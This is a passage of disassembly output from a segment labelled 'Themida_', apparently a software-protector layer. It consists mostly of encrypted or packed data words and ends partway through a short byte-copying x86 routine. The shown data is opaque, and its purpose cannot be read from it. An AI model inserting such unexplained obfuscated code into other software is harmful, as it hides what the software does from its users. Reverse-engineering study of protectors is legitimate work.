		dd 0FC9850Bh, 1084h, 0FCE3B00h,	1782h, 0FCF3B00h, 0F83h
		dd 4C38300h, 0DC850F4Ah, 0E9FFFFFFh, 0Dh, 50659D8Dh, 5B80612h
		dd 0FF000000h, 0BC361E3h, 0F19D8DD0h, 0B8061231h, 2Ah
		dd 4F98589h, 0E80612h, 58000000h, 0D05h, 0E9038900h, 2Ah
		dd 0Ah dup(77E60000h), 0DE8FFFFh, 15000000h, 0ED3DCC42h
		dd 851EEEB8h, 97690F83h, 0AE9h,	88B47900h, 5082E01Ah, 5BA5B0F5h
		dd 4CE781h, 0C381760Ah,	6B0Ch, 68FFB70Fh, 1A89h, 9890Fh
		dd 66600000h, 2F3E281h,	5E615F52h, 0B8BF98Bh, 0F86ACF81h
		dd 0C1812DA3h, 48A30229h, 0EE8h, 90A0F000h, 0FF2348ABh
		dd 0A9859C0Dh, 0BA964DC6h, 784BCCC2h, 90C1815Fh, 50566884h
		dd 880F51h, 58000000h, 0BAE98158h, 8B5A2F53h, 660B89C1h
		dd 83DC16BFh, 10E904EBh, 0F5000000h, 0E9548529h, 46320148h
		dd 483FFE11h, 81F63807h, 1EEh, 2F850F00h, 0E8000000h, 5
		dd 575E6BBDh, 10E941h, 60700000h, 4A72CCE9h, 476C6210h
		dd 725ECC75h, 0E958EC54h, 1Bh, 2054ED3h, 777BEAF5h, 0B866DC89h
		dd 5FE930EBh, 37FFFFFFh, 0E28CCAE8h, 0E9D94EDFh, 0FFh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 41C35747h
		dd 7B4BB4B2h, 0AB3B3636h, 0F840F95h, 0E9000000h, 0Ah, 35FEE7FDh
		dd 39CF2DC4h, 0B58D2485h, 617728Eh, 5E9h, 0B582CF00h, 858D9382h
		dd 6155098h, 7830FF5h, 0F000000h, 187h,	0D0FFF500h, 5E9h
		dd 2E337F00h, 60C39A59h, 13E9h,	0BA923000h, 0A2FF5264h
		dd 4C7A6B79h, 7B1FBB8Bh, 922FB26Ah, 6661C28Bh, 0FE9D98Ch
		dd 8D000000h, 5597A3EAh, 91644FA0h, 0E4A3713Eh,	0C1F6F757h
		dd 44840F04h, 0E9000000h, 7, 0CBEB3224h, 8BD47B91h, 32CB8BFBh
		dd 0FD75AEC0h, 0D9F7CF2Bh, 0D78BF92Bh, 0EBD98B49h, 3F20CD00h
		dd 0B000101h, 8D1874C0h, 0FA8B0C70h, 75A6CB8Bh,	0FA75490Ah
		dd 1B8h, 8B09EB00h, 0B8E4EB00h,	0
		dd 7810FCFh, 0F000000h,	186h, 0C7F5F900h, 1772D285h, 1013F06h
		dd 60EB00h, 17h	dup(0)
		dd 0E9000000h, 0AB7h, 0AABE9h, 7AE06800h, 0EDE90617h, 68FFFB0Ch
		dd 6177C23h, 0FB0CE3E9h, 7CC668FFh, 0D9E90617h,	0F7FFFB0Ch
		dd 0B668331h, 5AB552F8h, 68C720CCh, 0BA15F296h,	1D20C16Dh
		dd 49F53229h, 19BF41A8h, 0EA8C91F8h, 0BB63A20Dh, 2048C55Eh
		dd 0EDF1B1h, 6DEE730Fh,	319FED93h, 60021F0Ah, 0D47C84E3h
		dd 0A54DD43Bh, 0BAB76D7h, 6C14EC7Dh, 0CC7A8900h, 2CDA29A0h
		dd 0BFFD1B40h, 0E24F4185h, 16E887FCh, 7F870672h, 0B7F4A7D5h
		dd 0FA65A051h, 0C63F3E06h, 0C6B258ABh, 0A6177945h, 65D60769h
		dd 0D7006FAh, 6C52B88h,	0A00CE5A8h, 2DF160DDh, 380FD8Bh
		dd 0B258ABB6h, 80E8F855h, 2DD52C3Bh, 8E50BA8h, 0AE00E2D9h
		dd 0CEBA60A3h, 166532B3h, 7822E36Ah, 736286C3h,	0CD00E2D8h
		dd 0AA93EE6Eh, 0C02D1323h, 6D4FAA43h, 0BF8BEA94h, 2CA951D0h
		dd 0D0BFC140h, 0F810AD4Dh, 6FA82F9h, 26FE457h, 0BF3E59BDh
		dd 82EFEE02h, 0EF4906FAh, 1AFB0D39h, 0CB48C786h, 0D0BFD732h
		dd 9FDAA652h, 7FF1E326h, 33BED3F7h, 5B000000h, 0A850D0BFh
		dd 1D815E2Bh, 75BA40A0h, 0CB481C44h, 29BF374Ah,	6FA82A8h
		dd 83758AE6h, 0CEBA210Dh, 52350855h, 926DD8BFh,	0F58C95ECh
		dd 3AD2h, 506FB700h, 243751EAh,	6869FF69h, 0C606FAB6h
		dd 54CDE577h, 0BF66F97Ah, 32AA4ED0h, 0B2D90729h, 69D64F1Dh
		dd 0FA26D607h, 9F1C4106h, 0BCC870B0h, 0BF2D44C1h, 0EC926DD8h
		dd 6FF58C95h, 1350ED4Fh, 8243B2D6h, 9E9D06FAh, 9227B325h
		dd 3C3F0CE8h, 0ED8D90FFh, 1B61E29Fh, 0E8B38E4Bh, 0E149FE00h
		dd 0E5BA1F89h, 0E170ADD6h, 710C781Eh, 0E8A7F6E7h, 82ED5000h
		dd 0CEABD985h, 1633555h, 6FDC0000h, 3E52EB51h, 6FA8347h
		dd 9D5CB4F1h, 3B06FA82h, 0A796C340h, 9B170D9h, 8C3553E8h
		dd 2BDC24BEh, 6D770A8Bh, 708BEA94h, 1702BF11h, 2F3650Fh
		dd 5C06FA82h, 0B80764E1h, 0D0BF3352h, 0CD2EA753h, 7FDBC56Ah
		dd 2CD4D3F7h, 7D000000h, 8BEA506Fh, 222721BFh, 0D68429D9h
		dd 4988E05Dh, 0E706FA8Dh, 0D8BFFD94h, 95EC926Dh, 3CD2F58Ch
		dd 6D000000h, 0D7B23E2h, 0BF9CF370h, 0DAA652D0h, 7649269Fh
		dd 0D7B27FCh, 0BF92F570h, 82EFEE02h, 0F24906FAh, 2DACC471h
		dd 0BA06FA82h, 21BFA0C3h, 3EA1E5Ah, 98259E53h, 0EC926D81h
		dd 6FF58C95h, 3652EB51h, 699C1BE2h, 328F0411h, 0FA540BDEh
		dd 0A2CEAD06h, 0A554BCF9h, 306FA54h, 55ACBB38h,	6DF54CADh
		dd 708BEA94h, 1DC55CCBh, 0FE91126Fh, 8BEA506Fh,	0DBC584E3h
		dd 0D4D3F77Fh, 47h, 0BD8749A7h,	39A347D8h, 0A1224D75h
		dd 0EA506FCEh, 0A829BF8Bh, 606FA82h, 2BF5C37h, 8232A3C5h
		dd 0B18C06FAh, 926D5D34h, 2F8C95ECh, 0C725E020h, 41C7941h
		dd 0B6C94AC9h, 0EC6621BFh, 87D6D1Eh, 24438Bh, 0BF060000h
		dd 2BA850D0h, 7A1D815Eh, 82A829BFh, 8AE606FAh, 4C15535Dh
		dd 0EE7CF9CBh, 0D8BF146Fh, 95EC926Dh, 0D0BFF58Ch, 0E628AD4Dh
		dd 0ABh, 7516F63h, 4E2B59FBh, 2F066AD3h, 6906FA83h, 1EE76612h
		dd 8AE69B74h, 27A5D70Dh, 31D9283Eh, 2AAB2643h, 6946D57h
		dd 0BED95400h, 506F1170h, 84E38BEAh, 0F77FDBC5h, 46D4D3h
		dd 6F7D0000h, 59FD0650h, 2BDE99C7h, 0E56096C3h,	1702BF82h
		dd 5C19670Dh, 828071E7h, 5FDE06FAh, 0BFD8BF04h,	82EFEE02h
		dd 0F24906FAh, 690D1671h, 0BFF58C0Eh, 82EFEE02h, 1E4906FAh
		dd 54115F07h, 28B25CD9h, 57000000h, 8BEA506Fh, 82A829BFh
		dd 0AA3706FAh, 0ACC9B757h, 869D8C31h, 825382E6h, 8EED06FAh
		dd 0BFFF9213h, 0EC926DD8h, 6DF58C95h, 0DD9EEA94h, 5CBE9483h
		dd 6FB6E2BFh, 0BCCB48C7h, 0ED7CC161h, 2FDD7013h, 33939695h
		dd 28ADC8B4h, 64BFAAD7h, 0CB5BB2BEh, 4621A221h,	326917BFh
		dd 4632E027h, 0B126AA2Bh, 8F06FA1Ah, 0E53CEC46h, 60803Dh
		dd 5C3CB210h, 2E815ADBh, 1A412FD7h, 32773FEh, 42C38C16h
		dd 61A62230h, 5E081909h, 32B072DDh, 0FA171FDEh,	47C2B906h
		dd 0D32D3C39h, 0FA57A82Dh, 0AB2ABEE4h, 506FA17h, 0EE02BB36h
		dd 0CE8078Ah, 5A041D0Ch, 0B3C1BCD9h, 33899988h,	3F3A46F4h
		dd 18DD43C0h, 6800E847h, 75774B27h, 1AD6E54Eh, 17h, 0EA946DBFh
		dd 8207F69Eh, 0F43D06FAh, 61A1B09Eh, 0D2533EB7h, 6D68CF28h
		dd 0C651EA94h, 521A9B3Bh, 3A83E5F9h, 0E54F39D6h, 0C7201B0Ch
		dd 4BF0546Ah, 5A00030Eh, 0E6E377D9h, 0F8430AFFh, 0C040CF8Ch
		dd 13DC7105h, 41BC1F0Fh, 6A995CC4h, 0F60D0AD3h,	51AD3C48h
		dd 8681C1AFh, 0A01D90ACh, 0AB471B40h, 31CF1E35h, 18A7D3DDh
		dd 1B4CC944h, 0BC7212Fh, 289BA5FDh, 0F1745455h,	6E30D16Fh
		dd 6D5FC5EEh, 70F53B48h, 0DE4D4FB9h, 3820DCh, 6FC10000h
		dd 54FE0751h, 6DCE4D28h, 0FA82CA1Bh, 0A4196406h, 17C62A67h
		dd 0B106FA82h, 0E83E49CAh, 8D90FF3Ch, 823CBDD3h, 0A39A06FAh
		dd 2CF15824h, 75960F8Ah, 12A5h,	516F2C00h, 0AB3E52EBh
		dd 0D06FA82h, 84828D2Eh, 0D2D83FD8h, 150h, 0E9536FB7h
		dd 4ED0BF8Eh, 0C8A3DEAAh, 6B119236h, 0EA946DEAh, 0C584E38Bh
		dd 0D3F77FDBh, 2FD4h, 536F7D00h, 29BF8EE9h, 6FA82A8h, 6A863706h
		dd 0E20ED274h, 7D14914Bh, 956DD8BFh, 2F8C88EBh,	825F9EF2h
		dd 82F906FAh, 28D26E01h, 0B7000000h, 0EFEE02BFh, 4906FA82h
		dd 0CE1471F2h, 82C5345Ch, 186306FAh, 29BFFA9Dh,	6FA82A8h
		dd 0BF2F4637h, 0EB956DD8h, 6DF58C88h, 708BEA94h, 0EA506F11h
		dd 0C584E38Bh, 0D3F77FDBh, 52D4h, 21BF7D00h, 937254C2h
		dd 0A8C53ED4h, 0BFD0B317h, 0F3E87221h, 0D4118B31h, 351F81AAh
		dd 0B7EBFF91h, 5AAE0B88h, 6FA439Bh, 0BF2F4635h,	0D9A753D0h
		dd 879A279Ch, 0C80521BFh, 9DF0C4BFh, 0D2AFDD83h, 70B3DE57h
		dd 2F8CABCAh, 0B83DDD20h, 4AD2A1h, 0BFB70000h, 709852D0h
		dd 6FA8281h, 64E15CDFh,	0E952B807h, 829544ACh, 483306FAh
		dd 2BFB4CBh, 1C680A17h,	7D7CE461h, 3B06FA82h, 5E2AD62Ch
		dd 99C4A223h, 0BFD8BFFEh, 82EFEE02h, 0F24906FAh, 690D1671h
		dd 16B845D4h, 0F58CFA9Dh, 4DEE906Dh, 82F9F810h,	0E45706FAh
		dd 81751D6Fh, 2C06FA82h, 0AE73AF9Bh, 5DA0AF0Ch,	0E9E800BDh
		dd 4706FA82h, 3B9E7FF4h, 82EE906Dh, 0E754F60Bh,	829746AAh
		dd 743106FAh, 0FA82DD1Ch, 85007B06h, 63247C00h,	79061B07h
		dd 2E2C1A94h, 0B14ECD1Bh, 0FA6C73A7h, 21308D06h, 0A47D2BE0h
		dd 3DCA9037h, 5B9B5EBEh, 745FC72Bh, 0AFC938FFh,	66A0D0F7h
		dd 41FFFFFEh, 0A753D0BFh, 823FBA2Eh, 3C7906FAh,	0FA8225D4h
		dd 3BB88306h, 0FA82A0D5h, 830BCD06h, 756006FAh,	1806FA83h
		dd 6FA83DDh, 0FA8345B0h, 970BD3C6h, 0FA838071h,	6E12ECC6h
		dd 6AD34E2Dh, 0E6D9D306h, 7A0675CCh, 0D26BCD11h, 1DF665B6h
		dd 31B25205h, 5D446C84h, 752CAFCh, 4D2854FEh, 0BE0207CEh
		dd 0B9B524B4h, 2ABEFh, 0C9778D00h, 983EC128h, 6612107Fh
		dd 38DC2689h, 7B370DFh,	0C86F53EAh, 1F728F3Bh, 2F825F05h
		dd 78D730D2h, 0BFE001A9h, 0F86F6E82h, 2DC900EDh, 6946DB4h
		dd 4C2957FFh, 9628A3D1h, 24A343DEh, 0DB547997h,	0E41049ECh
		dd 5895D26Fh, 0FAD5C130h, 0A71C1F06h, 0E518E231h, 6081FC0Ch
		dd 8B4A9EDBh, 0C500ED48h, 0ED4832A3h, 0ECB18C00h, 498C1491h
		dd 0F00ED48h, 0C3450000h, 88B7D3Fh, 5B28AD28h, 749C2183h
		dd 0AF2DC93h, 4AD566D5h, 9BF613BBh
		dd 0CC94E08Ah, 0AD585F1h, 58E54797h, 0CA49DB30h, 3586F500h
		dd 992CDD2Ah, 8ED429FDh, 0C471F271h, 0C522CC55h, 85F39B6Ah
		dd 0E754B806h, 0A35A4E81h, 0A5CB481Eh, 1EA70B34h, 8F2CAB92h
		dd 8CE47E80h, 1EA70B4Dh, 671590EBh, 68E3890Ah, 2749F256h
		dd 14B8C6A4h, 41FE3F3Eh, 0D9A74FD6h, 7E0AAE70h,	600F8403h
		dd 6318F9A1h, 0E04E5005h, 345CA7C7h, 188E2CC5h,	189D1863h
		dd 620EB849h, 8ED6E712h, 0B6D7118h, 87BD5EB2h, 0A4971291h
		dd 376B73D8h, 76B920D1h, 0CE53BE22h, 0A625402Ch, 179240C7h
		dd 9A1A42A6h, 0E9542864h, 2C3B713Eh, 9EA8A483h,	168h, 0ED0ABA4Eh
		dd 3CDD8182h, 4EAB55ADh, 9C7D1FE3h, 0AF48F60Dh,	7E85B294h
		dd 48D837D0h, 15E847A0h, 0EC359475h, 3F7CA542h,	0EDFE28A9h
		dd 71E88600h, 0AA4ED0BFh, 3825C29h, 0CB14F46Ch,	0E5899A9Dh
		dd 0E05FDA97h, 0BCA1E5Bh, 0A506FA26h, 0A3E05DD6h, 0FBEC3945h
		dd 46D95888h, 1A99D4A0h, 0F0F53E82h, 8A0B935Ch,	0E553F506h
		dd 6CCF0Ch, 0BCA1E5Bh, 9700ED0Dh, 0C6B5E68Ch, 3DB65CA7h
		dd 0D7148E50h, 0ED0D40B1h, 359F9E00h, 0ED0DC4h,	1F9C1B62h
		dd 0FFF1D5C9h, 2BFA410Ah, 64B7739Ah, 0C58791DDh, 0AB000000h
		dd 0FF52AF5Dh, 0E617E24h, 5CB34CF8h, 6EC11EC2h,	690CED99h
		dd 7521E655h, 45EB3594h, 16B845A4h, 0E78F96F9h,	749C910Ah
		dd 0EDFE85h, 6FD20723h,	3850ED4Fh, 0CE54FA3h, 6BE28EEDh
		dd 0B817F09Ah, 88B3C169h, 96E28499h, 0B10D5ADBh, 4D9AEE4Fh
		dd 0E70AF23Ch, 0E8382794h, 0BC393440h, 8F33CC23h, 5D071F72h
		dd 9090FFBCh, 64E19CE8h, 0BA57F905h, 34CED057h,	95F41590h
		dd 0A807E08Eh, 0ED0BB058h, 4C098367h, 637CF9DAh, 6B473DEh
		dd 7F1FE28Dh, 4CF60F62h, 1CC45CB3h, 0A1D6419Fh,	9C56016Eh
		dd 5569C627h, 0A1264AF3h, 300CBD0h, 44DD4C38h, 0DAD7D9Ah
		dd 0EE000000h, 7CF9A363h, 50D0BFE5h, 0A8A92BA8h, 9BE9976Dh
		dd 3D4BF332h, 0C3B151ACh, 6612BA4Ah, 67220E7h, 0A6D28087h
		dd 4B39DB27h, 0EC9844C2h, 70FCA27Dh, 5E54562Dh,	4C681h
		dd 0EE830000h, 24348704h, 7D3C685Ch, 2C890000h,	4EC8124h
		dd 89000000h, 0EC832414h, 24348904h, 0F707EBEh,	91EE8159h
		dd 812C0353h, 0B56ADC6h, 5EF589D9h, 8904EC83h, 4812424h
		dd 424h, 21685A00h, 8900004Dh, 428F242Ch, 2434FF08h, 4C4835Ah
		dd 51242C8Bh, 0C181E189h, 4, 4C181h, 0C870000h,	4DE95C24h
		dd 15FFFB02h, 177DB0B8h, 8BC50306h, 7E8C3h, 0B4A70000h
		dd 0BC2D8BAEh, 54BA6679h, 14E8580Eh, 0E7000000h, 1AD67280h
		dd 0A7717A6Eh, 8CE7AB9Dh, 0C18D2B89h, 0B931FF77h, 7F850643h
		dd 0F0C0815Ah, 81000074h, 63C893F7h, 60F62B3Eh,	8F0F95B7h
		dd 11h,	0BE8h, 9A799300h, 0CB3606B6h, 0B45C3F72h, 1C8B615Ah
		dd 81D08B30h, 0E5CFB6EBh, 1EBF666Bh, 6CC381E6h,	661BECF7h
		dd 4079CF81h, 0C63BC381h, 0E953498Eh, 10h, 376F0E22h, 3315EBE4h
		dd 0D28C1ADCh, 2AC4DCA5h, 6630048Fh, 1D96E781h,	8104EE83h
		dd 0FF8BB0FEh, 0B3850FFFh, 80FFFFFFh, 8D8D50F2h, 6177F67h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0A1C35646h
		dd 2800Fh, 0F18B0000h, 27918D89h, 0DE8B0612h, 8B26B760h
		dd 12152D85h, 85C76106h, 6123439h, 64F0h, 2E5D85C7h, 612h
		dd 0BD890000h, 6121739h, 1A9DB5FFh, 858B0612h, 612262Dh
		dd 0AC995FFh, 6A0612h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 1B547FC3h, 0FF006A14h, 12247595h
		dd 0EBC08B06h, 20EE425Eh, 0F71171DCh, 0F48C641Ch, 0FB6B08D4h
		dd 74A41BC4h, 652D2A9Dh, 7ABB0804h, 5149AD3Ch, 433527C0h
		dd 0EEFA94E7h, 6E60BFC8h, 819096E0h, 1AD20BF4h,	6577F722h
		dd 4B88BB06h, 3C5F7E8Fh, 30BF98C0h, 0C053D65Dh,	8CAFF509h
		dd 29A2D51h, 0E8CCBF04h, 0AF1B6D09h, 43A90852h,	0E90FBCFBh
		dd 266h, 0D98C6660h, 0F04C1F6h,	3584h, 0FF016A00h, 122E19B5h
		dd 0A4858D06h, 0FF061581h, 0E18589D0h, 8B061211h, 0CEFC1FEh
		dd 6000068h, 6A006A20h,	0D685702h, 0FF000100h, 1211E195h
		dd 32E906h, 85C60000h, 6120259h, 30DF6856h, 0B5FFA9C5h
		dd 6122E69h, 81A4858Dh,	0D0FF0615h, 1DD8589h, 858D0612h
		dd 6122ED5h, 6A406A50h,	95FF5605h, 61201DDh, 0C361h, 2 dup(0)
		dd 8B520000h, 428B60D4h, 4D858908h, 8B061780h, 85890C42h
		dd 6178045h, 8910428Bh,	17804985h, 83B58D06h, 8D061780h
		dd 5B8EA185h, 61D0FF00h, 0CC25Ah, 804DB58Bh, 858B0617h
		dd 6178045h, 8049BD83h,	0F000617h, 784h, 0E9068900h, 2
		dd 0CF0688h, 0
		dd 52000000h, 8B60D48Bh, 85890842h, 617804Dh, 80D4B58Dh
		dd 858D0617h, 5B8EA1h, 5A61D0FFh, 804D858Bh, 4C20617h
		dd 4D858B00h, 8B061780h, 4D858900h, 0CF061780h,	0
		dd 0AAB58960h, 89061780h, 1780A685h, 79858D06h,	8B061225h
		dd 85894440h, 61780E3h,	8119B58Dh, 858D0617h, 5B8EA1h
		dd 8B61D0FFh, 1780AA85h, 9D8BC306h, 61780A6h, 3C43B70Fh
		dd 5B8BD803h, 0A69D0378h, 8B061780h, 0B5032473h, 61780A6h
		dd 207B8B56h, 31C738Bh,	1780A6BDh, 0A6B50306h, 0FC061780h
		dd 41FFC983h, 80AA9D8Bh, 178B0617h, 80A69503h, 0C7830617h
		dd 84028A04h, 0F840FC0h, 3A000000h, 0DC850F03h,	43FFFFFFh
		dd 0FFE7E942h, 33AFFFFh, 0FFCD850Fh, 0D15FFFFFh, 4B70FE1h
		dd 86048B0Fh, 80A68503h, 85890617h, 61780AAh, 0CE8BF08Bh
		dd 0BD81C18Bh, 61780E3h, 0C0300000h, 0D850Fh, 0E8C10000h
		dd 0FFC2514h, 8E90000h,	0C1000000h, 0F82512E8h,	8B00003Fh
		dd 1780E3BDh, 70C8306h,	7148B06h, 8124C28Bh, 0C18B813Ch
		dd 57840Fh, 0BD810000h,	61780E3h, 0C0300000h, 0D850Fh
		dd 0E8C10000h, 0FFFC250Ah, 8E9003Fh, 0C1000000h, 0F82509E8h
		dd 2D007FFFh, 40000000h, 0F7060883h, 8000h, 1E840F00h
		dd 81000000h, 1780E3BDh, 30000006h, 0E840FC0h, 25000000h
		dd 3FF8h, 808Bh, 883C060h, 858DCF06h, 6178051h,	0CD8589h
		dd 858D0612h, 61780E7h,	0F518589h, 858D0612h, 61780AEh
		dd 2E358589h, 0CE80612h, 0AA000000h, 67F82BBEh,	7E1644C2h
		dd 81981000h, 9255D2C8h, 8B66594Ch, 0C1C181F2h,	6000005Ah
		dd 0AE9h, 0E97C00h, 7E228B95h, 0F14FF74h, 68Ch,	32E38100h
		dd 61575A9Fh, 0C68BFF33h, 0F391C8Bh, 387h, 0C38B6600h
		dd 47DDEB81h, 35B41D69h, 50E0F381h, 0CBA258Ah, 8105B9F2h
		dd 61B66FEBh, 0C3BF0F16h, 66391C89h, 807893BEh,	0EF836CF0h
		dd 271DBA04h, 0FF8129FAh, 0FFFFA5C0h, 0FFBA850Fh, 0F0B0FFFFh
		dd 1F8B13D8h, 2BAFBF6Ch, 0F2ED63BDh, 6F971A3h, 7A853503h
		dd 0FC547058h, 81178587h, 33698558h, 0D1F9F1E4h, 1DFD05EAh
		dd 2CBD884Fh, 3C553374h, 33541AB6h, 8C326799h, 0DA0D2A91h
		dd 33543141h, 335426DBh, 70D7AC99h, 67864019h, 558A8F6Ah
		dd 462F9532h, 2CA36F01h, 3351B0C3h, 0BCEA3566h,	6D59FA3Bh
		dd 3CD1881Ah, 3C5433DEh, 335444E2h, 66545F33h, 33543671h
		dd 0F00915CCh, 1738BC3Bh, 1710B437h, 3354239Dh,	0F00170CCh
		dd 3C9F55E4h, 33543BB8h, 3352DD99h, 377835CCh, 7C25A7D7h
		dd 0DA0B5453h, 3354358Ah, 0EBC772A6h, 0FDD7BBD6h, 0A1014C97h
		dd 615D9274h, 0DA0B4E1Eh, 335436C1h, 0DB053559h, 3354359Ah
		dd 6A976CECh, 377079EFh, 377071B2h, 3354358Ch, 5A97648Dh
		dd 0F8DF5379h, 0B6D96C61h, 3543B69Ah, 0ABEC8FAAh, 0C8DF5336h
		dd 597031BAh, 30BC6799h, 135435CCh, 0BA0EF63Ch,	0B2501167h
		dd 275011DDh, 715435CCh, 3C09F634h, 335414B8h, 0B2325599h
		dd 0DB68621Bh, 33543572h, 0AC51E81Dh, 0A142058Bh, 0F1C3AFDCh
		dd 0ECF43072h, 3D221E4Fh, 0CBDF54C0h, 0B1B1B041h, 34BD3371h
		dd 0D9543533h, 4974A90Bh, 89328EFFh, 55042358h,	0BA54C58Ch
		dd 0A6AB119Dh, 354639C1h, 3347BF69h, 0DB033533h, 33543592h
		dd 4853E468h, 7823D4h, 6D089AF6h, 5994BEC3h, 30BC64CCh
		dd 13543566h, 0BA0DF66Ah, 0B25011D5h, 29501188h, 72543566h
		dd 3A3FF662h, 9C5224E7h, 0B0ACCD9Bh, 215A44DBh,	3A213535h
		dd 1E3D881Ah, 475433DEh, 0B807657Fh, 372E8DF3h,	0B6DD3599h
		dd 35460139h, 9CBEA8EBh, 0E0AB3327h, 8ED76DC2h,	354618A5h
		dd 63434166h, 372E8D60h, 0B6DD3599h, 35460139h,	9F8DA8EBh
		dd 0E0AB3327h, 333E6DC2h, 3357DD9Bh, 6C743566h,	4FDD6AF0h
		dd 77D531BDh, 334231E8h, 64133566h, 0D99F2F0h, 55A5BEFFh
		dd 8168FC4Dh, 0DB06350Ch, 33543530h, 69976FB9h,	37706145h
		dd 377071E7h, 33543525h, 0BF9767DBh, 0F3DFE8A6h, 0DB03350Ch
		dd 33543530h, 6C976AB9h, 37704945h, 377071E7h, 33543525h
		dd 4D9762DEh, 0BEA1FD5Eh, 24D6D8FBh, 60545F35h,	33543671h
		dd 0F00F15CCh, 1708BC3Dh, 1710B437h, 3354219Dh,	0F00776CCh
		dd 72D1B805h, 3C522241h, 33543315h, 8C85B4CCh, 0CC78294Fh
		dd 3351DCE3h, 8EC3599h,	38EC98C9h, 6DD03AA6h, 0DA543533h
		dd 33543592h, 9AF2E459h, 6D822B07h, 555A5D67h, 0AED9FD12h
		dd 354665A9h, 3354398Fh, 5DFF6B33h, 0AA4D23A0h,	0C2B979C8h
		dd 33578D84h, 55033533h, 0D818EA18h, 59B7CA96h,	30BC6266h
		dd 13543533h, 0BA0BF6C6h, 0B25011B0h, 2B501122h, 74543533h
		dd 35BDF6CEh, 3CEFF0FBh, 335435E6h, 0C6C9B833h,	0BE52221Bh
		dd 24267449h, 66545F60h, 335436DBh, 0F0091599h,	1738BC91h
		dd 1710B462h, 33542D37h, 0F0017099h, 0A17B297h,	0BB5B6637h
		dd 33543531h, 0CC0D54F9h, 3346DC1Ch, 4FBF3566h,	0E3520D84h
		dd 0DF794E21h, 0DC39A066h, 0C1C9396Bh, 0B75BF538h, 335435C6h
		dd 0BEAEBEAAh, 210450FBh, 3358DC35h, 0E3A3599h,	0B3BB1F0Bh
		dd 680D54CCh, 8932F4F3h, 32ECE9A5h, 595435CCh, 30BC6766h
		dd 13543533h, 0BA0EF6C3h, 0B2501198h, 2B501122h, 71543533h
		dd 140FF6CBh, 55B3E26Ah, 5C94C4E7h, 3EBCD6CCh, 7C543599h
		dd 0BF47C440h, 1D7FE193h, 5D96B92h, 0BE0EE512h,	24D6CF51h
		dd 845BC060h, 72D1B8FBh, 555222EBh, 0A5FFF24Dh,	333EE599h
		dd 3357DD63h, 6B743599h, 77DD6D0Fh, 77D53142h, 33493117h
		dd 63143599h, 9EF0070Fh, 20058F07h, 0B26B65DFh,	0E87DA14Bh
		dd 3C943EFBh, 335443E2h, 64545F33h, 33543671h, 0F00B15CCh
		dd 1728BC39h, 1710B437h, 3354239Dh, 0F00372CCh,	0B881E8D8h
		dd 56C9B8FBh, 625227C9h, 33542525h, 653CD966h, 100AAAD2h
		dd 31CA62ACh, 189C2F2Ch, 3CBC6FF4h, 85543533h, 63292B0Fh
		dd 4A15C30Ah, 0DFE61CEEh, 36BD2272h, 0D8543599h, 0E2CB2F2Dh
		dd 33578D3Ch, 55073533h, 5479D418h, 3CB7CA96h, 335430EDh
		dd 0D1D55333h, 70A16A65h, 0DB0735A6h, 33543565h, 68976E13h
		dd 37706910h, 3770714Dh, 3354357Eh, 7F976670h, 0BA1DC0C2h
		dd 0B1B78841h, 0BED93371h, 3543B2B4h, 78084821h, 62D10646h
		dd 18522766h, 31BDF4FCh, 1BC6C9B8h, 49BE5222h, 60242674h
		dd 0DB66545Fh, 99335436h, 91F00915h, 0F305E983h, 81C08BA4h
		dd 0C9ACE7E1h, 18E0F43h, 0F5000000h, 0B7E68166h, 0F18B6659h
		dd 10E9C38Bh, 0A7000000h, 19671577h, 97B09758h,	0BFD3A4D8h
		dd 8B6573C5h, 83A8B5C0h, 120E71BDh, 9750006h, 2D69BD83h
		dd 74000612h, 8B535019h, 47AB8C0h, 85890000h, 6123205h
		dd 0B0519D8Dh, 0D3FF0614h, 0BD83585Bh, 6122D69h, 50177400h
		dd 47AB853h, 85890000h,	6123205h, 0ACF29D8Dh, 0D3FF0614h
		dd 6A585Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 865637C3h, 1E98004h, 8BD0BF0Fh, 1C8E9C0h
		dd 88880000h, 7	dup(88880041h),	41h, 3 dup(0)
		dd 88000000h, 91C40000h, 11110000h, 11111111h, 99C91111h
		dd 88888888h, 8888h, 6000000h, 44440000h, 410000h, 11110000h
		dd 44441111h, 2994444h,	203C988h, 88880010h, 88880011h
		dd 11118888h, 16441111h, 0
		dd 8800h, 88888800h, 0
		dd 88880080h, 88888h, 88880000h, 88880808h, 8888h, 0
		dd 88880000h, 88888888h, 88808888h, 3 dup(88888888h), 99998800h
		dd 888h, 44448800h, 44444444h, 88884444h, 88888888h, 80008888h
		dd 80000099h, 88888899h, 89008888h, 88888888h, 8999h, 88800000h
		dd 88888088h, 88888888h, 88888088h, 88808888h, 88888888h
		dd 2E260888h, 65643E36h, 0F2F06766h, 0F3h, 0FFFF0000h
		dd 16E6FFFFh, 16FA0040h, 40h, 0
		dd 30000h, 14h dup(0)
		dd 0CC20000h, 758F2900h, 10000h, 11h dup(0)
		dd 53E90000h, 55000003h, 0E8h, 0ED815D00h, 6178A20h, 6D85C760h
		dd 61789h, 66000000h, 0A1663E81h, 0F850Fh, 85C70000h, 6178971h
		dd 6, 24E9h, 75858D00h,	50061789h, 89C5858Dh, 56500617h
		dd 1DE8006Ah, 83000000h, 0FF2510C4h, 89000000h,	17897185h
		dd 0B5036106h, 6178971h, 896D858Bh, 0C35D0617h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	byte ptr [ebp-5], 0
		and	byte ptr [ebp-6], 0
		xor	dl, dl
		and	[ebp-1], dl
		cmp	dword ptr [ebp+8], 0
		jz	loc_5A1185
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		mov	byte ptr [ebp-2], 1
		jmp	loc_5A1191
; ---------------------------------------------------------------------------


loc_5A1185:				; CODE XREF: Themida_:005A116Ej
		and	byte ptr [ebp-3], 0
		and	byte ptr [ebp-2], 0
		mov	byte ptr [ebp-4], 4


loc_5A1191:				; CODE XREF: Themida_:005A1180j
		push	ebx
		push	esi
		push	edi


loc_5A1194:				; CODE XREF: Themida_:005A11E9j
					; Themida_:005A1205j ...
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+10h]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl


loc_5A11A7:				; CODE XREF: Themida_:005A11CEj
